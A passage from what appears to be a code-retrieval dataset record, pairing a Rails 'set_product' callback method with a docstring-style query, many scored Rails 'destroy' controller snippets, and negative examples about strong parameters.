}\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to root_url }\n format.json { head :no_content }\n end\n end", "def destroy\n puts(\"you are in destroy \")\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product.destroy\n render json: {is_success: true, error_code: 200, message: \"Deleted Successfully\", result: @product}, status: 200\n end", "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to root_url(:item => 3), notice: 'Product was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @record = Product.find(params[:id])\n @record.trash\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def deleteProd()\n if(!authenticateAdmin(params[:admin_id], params[:admin_auth_key]))\n render json: {status: false, reason: \"Authentication Failed\", data: \"\"}\n return\n end\n p = Product.find(params[:id])\n status = p.destroy\n error = \"\"\n if(p.errors.full_messages.count > 0)\n error = c.errors.full_messages[0]\n end\n render json: {status: true, reason: error, data: \"\"}\n end", "def destroy\n @product1.destroy\n respond_to do |format|\n format.html { redirect_to product1s_url, notice: \"Product1 was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to admin_products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @onecompany_product = Onecompany::Product.find(params[:id])\n @onecompany_product.destroy\n\n respond_to do |format|\n format.html { redirect_to onecompany_products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url, notice: t('destroy_success') }\n format.json { head :no_content }\n end\n end", "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url, notice: t('.message') }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_products_url }\n format.json { head :no_content }\n end\n end", "def delete\n render json: Item.delete(params[\"id\"])\n end", "def destroy\n @producto = Producto.find(params[:id])\n @producto.destroy\n\n respond_to do |format|\n format.html { redirect_to productos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @producto = Producto.find(params[:id])\n @producto.destroy\n\n respond_to do |format|\n format.html { redirect_to productos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @producto = Producto.find(params[:id])\n @producto.destroy\n\n respond_to do |format|\n format.html { redirect_to productos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url, notice: 'Product was successfully deleted.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\nend", "def destroy \n @product = current_user.user_info.products.find(params[:id])\n Shopify.delete @product\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = Product.find(params[:id]).delete\n respond_to do |format|\n if @product.delete\n format.html {redirect_to @product, notice: \"Product was successfully deleted.\" }\n else\n format.json {render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url, notice: 'Your product was successfully deleted.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @shopifyproduct = Shopifyproduct.find(params[:id])\n @shopifyproduct.destroy\n\n respond_to do |format|\n format.html { redirect_to shopifyproducts_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = @person.products.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.json { render :json=>true }\n end\n end", "def destroy\n #@product = Product.find(params[:id]) #하단에서 미리 선언\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to(products_url) }\n format.xml { head :ok }\n format.json { head :ok }\n end\n end", "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product.destroy\n\n head :no_content\n end", "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to root_path, notice: 'Product was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @admin_product.destroy\n respond_to do |format|\n format.html { redirect_to admin_products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url, notice: 'Продукт успешно удален.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n head :no_content\n end", "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url, notice: \"Product was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url, notice: \"Product was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url, notice: \"Product was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @prod = Prod.find(params[:id])\n @prod.destroy\n\n respond_to do |format|\n format.html { redirect_to prods_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url, notice: 'Product was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url, notice: 'Product was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url, notice: 'Product was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url, notice: 'Product was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url, notice: 'Product was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url, notice: 'Product was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url, notice: 'Product was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url, notice: 'Product was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url, notice: 'Product was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url, notice: 'Product was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url, notice: 'Product was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url, notice: 'Product was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url, notice: 'Product was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url, notice: 'Product was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url, notice: 'Product was successfully destroyed.' }\n format.json { head :no_content }\n end\n end" ]
[ "0.7716767", "0.7593029", "0.7548404", "0.75026053", "0.7501899", "0.74741083", "0.7439505", "0.7417943", "0.74088925", "0.7370336", "0.73533446", "0.73478407", "0.73357344", "0.73357344", "0.73357344", "0.73131037", "0.73131037", "0.73131037", "0.73131037", "0.73131037", "0.73131037", "0.73131037", "0.73131037", "0.73131037", "0.73131037", "0.73131037", "0.73131037", "0.73131037", "0.73131037", "0.73131037", "0.73131037", "0.73131037", "0.73131037", "0.73131037", "0.73131037", "0.73131037", "0.73131037", "0.73131037", "0.73131037", "0.73131037", "0.73131037", "0.73131037", "0.73128766", "0.7298978", "0.72794706", "0.72660655", "0.72653663", "0.72591215", "0.7252877", "0.72510946", "0.7229449", "0.7225607", "0.7220503", "0.7214769", "0.7203778", "0.72025377", "0.72025377", "0.7202368", "0.7188758", "0.7188758", "0.7188758", "0.7185647", "0.7184467", "0.71706766", "0.7168625", "0.7157", "0.71518564", "0.714569", "0.7142502", "0.7135933", "0.7130445", "0.71281785", "0.7125609", "0.7125322", "0.7111335", "0.7109879", "0.7078997", "0.7078997", "0.7078997", "0.70781606", "0.70760983", "0.70760983", "0.70760983", "0.70760983", "0.70760983", "0.70760983", "0.70760983", "0.70760983", "0.70760983", "0.70760983", "0.70760983", "0.70760983", "0.70760983", "0.70760983", "0.70760983" ]
0.73308176
20
Use callbacks to share common setup or constraints between actions.
def set_product #@product = Product.find params[:id] @product = Product.where(id: params[:id]).includes( {product_impact_line_items: [:impact_line_item, :impact_entries]}).first end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
Never trust parameters from the scary internet, only allow the white list through.
def product_params params.require(:product).permit(:name, :description, :barcode_type, :barcode, :image, :address, :user_id) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def valid_params_request?; end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def filtering_params\n params.permit(:email)\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def active_code_params\n params[:active_code].permit\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def 